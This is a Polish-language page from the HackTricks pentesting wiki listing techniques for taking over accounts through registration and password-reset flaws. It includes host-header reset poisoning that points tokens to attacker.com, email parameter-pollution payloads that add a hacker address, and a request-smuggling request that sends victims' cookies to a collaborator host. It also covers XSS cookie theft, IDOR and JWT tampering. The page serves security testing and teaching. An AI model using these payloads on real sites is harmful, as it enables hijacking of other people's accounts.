Registration & Takeover Vulnerabilities

Wsparcie dla HackTricks

WhiteIntel to silnik wyszukiwania zasilany dark-webem, który oferuje darmowe funkcje do sprawdzenia, czy firma lub jej klienci zostali skompromentowani przez złośliwe oprogramowanie kradnące dane.

Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego dane.

Możesz sprawdzić ich stronę i wypróbować ich silnik za darmo pod adresem:


Przejęcie rejestracji

Duplikat rejestracji

  • Spróbuj wygenerować przy użyciu istniejącej nazwy użytkownika

  • Sprawdź różne adresy e-mail:

  • wielkie litery

  • +1@

  • dodaj kropkę w adresie e-mail

  • znaki specjalne w nazwie e-maila (%00, %09, %20)

  • Dodaj czarne znaki po e-mailu: test@test.com a

  • victim@gmail.com@attacker.com

  • victim@attacker.com@gmail.com

Enumeracja nazw użytkowników

Sprawdź, czy możesz ustalić, kiedy nazwa użytkownika została już zarejestrowana w aplikacji.

Polityka haseł

Tworząc użytkownika, sprawdź politykę haseł (sprawdź, czy możesz używać słabych haseł). W takim przypadku możesz spróbować przeprowadzić atak brute force na dane logowania.

SQL Injection

Sprawdź tę stronę , aby dowiedzieć się, jak próbować przejęć kont lub wydobywać informacje za pomocą SQL Injection w formularzach rejestracyjnych.

Przejęcia Oauth

OAuth to Account takeover

Luki SAML

SAML Attacks

Zmień e-mail

Po rejestracji spróbuj zmienić e-mail i sprawdź, czy ta zmiana jest poprawnie weryfikowana, czy można ją zmienić na dowolne e-maile.

Więcej kontroli

  • Sprawdź, czy możesz używać tymczasowych adresów e-mail

  • Długie hasło (>200) prowadzi do DoS

  • Sprawdź limity szybkości przy tworzeniu kont

  • Użyj username@burp_collab.net i przeanalizuj callback

Przejęcie resetu hasła

Wycieczka tokena resetu hasła przez referer

  1. Poproś o reset hasła na swój adres e-mail

  2. Kliknij w link do resetu hasła

  3. Nie zmieniaj hasła

  4. Kliknij na dowolne strony trzecie (np. Facebook, Twitter)

  5. Przechwyć żądanie w proxy Burp Suite

  6. Sprawdź, czy nagłówek referer wycieka token resetu hasła.

Zatrucie resetu hasła

  1. Przechwyć żądanie resetu hasła w Burp Suite

  2. Dodaj lub edytuj następujące nagłówki w Burp Suite: Host: attacker.com, X-Forwarded-Host: attacker.com

  3. Prześlij żądanie z zmodyfikowanym nagłówkiem http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com

  4. Szukaj URL resetu hasła na podstawie nagłówka hosta jak: https://attacker.com/reset-password.php?token=TOKEN

Reset hasła przez parametr e-mail

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR na parametrach API

  1. Atakujący musi zalogować się na swoje konto i przejść do funkcji Zmień hasło.

  2. Uruchom Burp Suite i przechwyć żądanie.

  3. Wyślij je do zakładki repeater i edytuj parametry: ID użytkownika/email powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Słaby token resetowania hasła

Token resetowania hasła powinien być generowany losowo i unikalny za każdym razem. Spróbuj ustalić, czy token wygasa, czy zawsze jest taki sam; w niektórych przypadkach algorytm generacji jest słaby i można go odgadnąć. Poniższe zmienne mogą być używane przez algorytm.

  • Znacznik czasu

  • ID użytkownika

  • Email użytkownika

  • Imię i nazwisko

  • Data urodzenia

  • Kryptografia

  • Tylko liczby

  • Mała sekwencja tokenów (znaki między [A-Z,a-z,0-9])

  • Ponowne użycie tokenu

  • Data wygaśnięcia tokenu

Wyciekanie tokenu resetowania hasła

  1. Wywołaj żądanie resetowania hasła za pomocą API/UI dla konkretnego emaila, np: test@mail.com

  2. Sprawdź odpowiedź serwera i poszukaj resetToken

  3. Następnie użyj tokenu w URL, jak https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Resetowanie hasła przez kolizję nazw użytkowników

  1. Zarejestruj się w systemie z nazwą użytkownika identyczną do nazwy użytkownika ofiary, ale z wstawionymi białymi znakami przed i/lub po nazwie użytkownika. np: "admin "

  2. Poproś o resetowanie hasła za pomocą swojego złośliwego nazwy użytkownika.

  3. Użyj tokenu wysłanego na swój email i zresetuj hasło ofiary.

  4. Zaloguj się na konto ofiary za pomocą nowego hasła.

Platforma CTFd była podatna na ten atak. Zobacz: CVE-2020-7245

Przejęcie konta przez Cross Site Scripting

  1. Znajdź XSS w aplikacji lub subdomenie, jeśli ciasteczka są ograniczone do domeny nadrzędnej: *.domain.com

  2. Wycieknij aktualne ciasteczko sesji

  3. Uwierzytelnij się jako użytkownik, używając ciasteczka

Przejęcie konta przez HTTP Request Smuggling

1. Użyj smuggler do wykrycia typu HTTP Request Smuggling (CL, TE, CL.TE) powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h 2. Stwórz żądanie, które nadpisze POST / HTTP/1.1 następującymi danymi: GET http://something.burpcollaborator.net HTTP/1.1 X: z celem otwarcia przekierowania ofiar do burpcollab i kradzieży ich ciasteczek 3. Ostateczne żądanie może wyglądać następująco

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone raporty wykorzystujące ten błąd * https://hackerone.com/reports/737140 * https://hackerone.com/reports/771666

Przejęcie konta za pomocą CSRF

  1. Stwórz ładunek dla CSRF, np: “formularz HTML z automatycznym przesyłaniem do zmiany hasła”

  2. Wyślij ładunek

Przejęcie konta za pomocą JWT

JSON Web Token może być używany do uwierzytelniania użytkownika.

  • Edytuj JWT z innym identyfikatorem użytkownika / adresem e-mail

  • Sprawdź słabą sygnaturę JWT

JWT Vulnerabilities (Json Web Tokens)

Odniesienia

WhiteIntel to silnik wyszukiwania zasilany dark-webem, który oferuje darmowe funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali skompromentowani przez złośliwe oprogramowanie kradnące.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

Wsparcie HackTricks

Last updated